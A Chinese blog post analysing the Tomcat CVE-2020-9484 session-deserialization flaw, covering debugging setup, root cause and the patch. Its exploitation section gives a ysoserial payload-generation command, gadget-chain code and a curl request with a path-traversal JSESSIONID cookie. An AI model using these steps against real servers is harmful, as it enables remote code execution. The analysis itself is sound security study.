您好,登錄后才能下訂單哦!
這篇文章給大家介紹CVE-2020-9484 tomcat session反序列化漏洞的示例分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
下面借助CVE-2020-9484 Tomcat漏洞詳細的介紹了本地和遠程調試Tomcat 源碼。分析漏洞成因以及補丁修補情況,以及分析ysoserial反序列化鏈。
Apache Tomcat發布通告稱修復了一個源于持久化Session的遠程代碼執行漏洞(CVE-2020-9484)。漏洞條件比較苛刻: 1. tomcat必須啟用session持久化功能FileStore 2. tomcat/lib或者WEB-INF/lib目錄下的依賴存在可用的gadget 3. 在服務器上存在已知路徑文件內容可控
Apache Tomcat 10.x < 10.0.0-M5 Apache Tomcat 9.x < 9.0.35 Apache Tomcat 8.x < 8.5.55 Apache Tomcat 7.x < 7.0.104
從官網下載tomcat 8.5.30
0x1 配置session持久化
conf/context.xml
<Manager className="org.apache.catalina.session.PersistentManager" debug="0" saveOnRestart="false" maxActiveSession="-1" minIdleSwap="-1" maxIdleSwap="-1" maxIdleBackup="-1"><Store className="org.apache.catalina.session.FileStore" directory="./session" /></Manager>
0x2 部署Gadgets jar包
下載commons-collections4-4.0.jar 并放在tomcat lib/目錄下
0x1 本地調試
利用intellij idea 進行本地調試,創建項目、添加tomcat服務、添加tomcat源碼包、配置項目lib庫文件
Step1 創建項目
創建web Application項目
Step2 添加tomcat服務
選擇configurations 配置tomcat 服務信息如下圖所示
選擇tomcat local ,tomcat 路徑、配置端口等
Step3 添加tomcat源碼
在intellij idea中添加tomcat 源碼
Step4 配置項目lib庫文件
為了使得代碼能夠索引方便調試,將tomcat 相關jar以及源碼設成為library,如下圖所示
0x2 遠程調試
利用intellij idea 進行遠程調試,修改默認啟動腳本、添加remote調試配置
0x1 修改啟動腳本
修改catalina.bat添加debug配置,調試端口為 5005,這是要檢驗端口有沒有被防火墻禁掉
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"
查看端口是否開放
╰─? lsof -i:5005 1 ? COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME java 65934 xx 6u IPv4 0x66cb19ff98f7365b 0t0 TCP localhost:avt-profile-2 (LISTEN)
0x2 打開項目
直接打開tomcat 8.5.30 源代碼
0x3 配置debug屬性
在intellij idea中配置debug ip及port
當使用tomcat時,如果使用了tomcat提供的session持久化功能,就會在一次會話中嘗試讀取session文件中的內容,并進行反序列化。
具體邏輯如下:
0x1 路徑拼接
如果打開了session 持久化 那么tomcat將會把session 的名稱作為文件名并進行讀取。
java 路徑 org.apache.catalina.session.FileStore:
在file函數中直接將id作為文件名進行拼接,這里可以進行路徑穿越到根目錄,如下圖所示:
0x2 反序列化
Tomcat拼接過路徑之后把讀取的文件內容帶入反序列化函數,如果此時存在文件上傳漏洞,就可以達到反序列化RCE的效果。
0x1 生成payload
通過Ysoserial 生成反序列化文件,生成方式和原理如下,生成彈出計算器的CommonsCollections2 反序列化payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session
生成payload的關鍵代碼
@Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({"frohoff"}) public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public CommonsCollections2() { } public Queue<Object> getObject(String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); PriorityQueue<Object> queue = new PriorityQueue(2, new TransformingComparator(transformer)); queue.add(1); queue.add(1); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue")); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
完整漏洞利用鏈
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
具體關于利用鏈相關可參考 https://xz.aliyun.com/t/1756
0x2 觸發
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'
通過錯誤回顯也可看出調用棧
從github tomcat 8.5.55 可以看出漏洞修補在文件判斷上,目前沒有找到繞過的姿勢
關于CVE-2020-9484 tomcat session反序列化漏洞的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。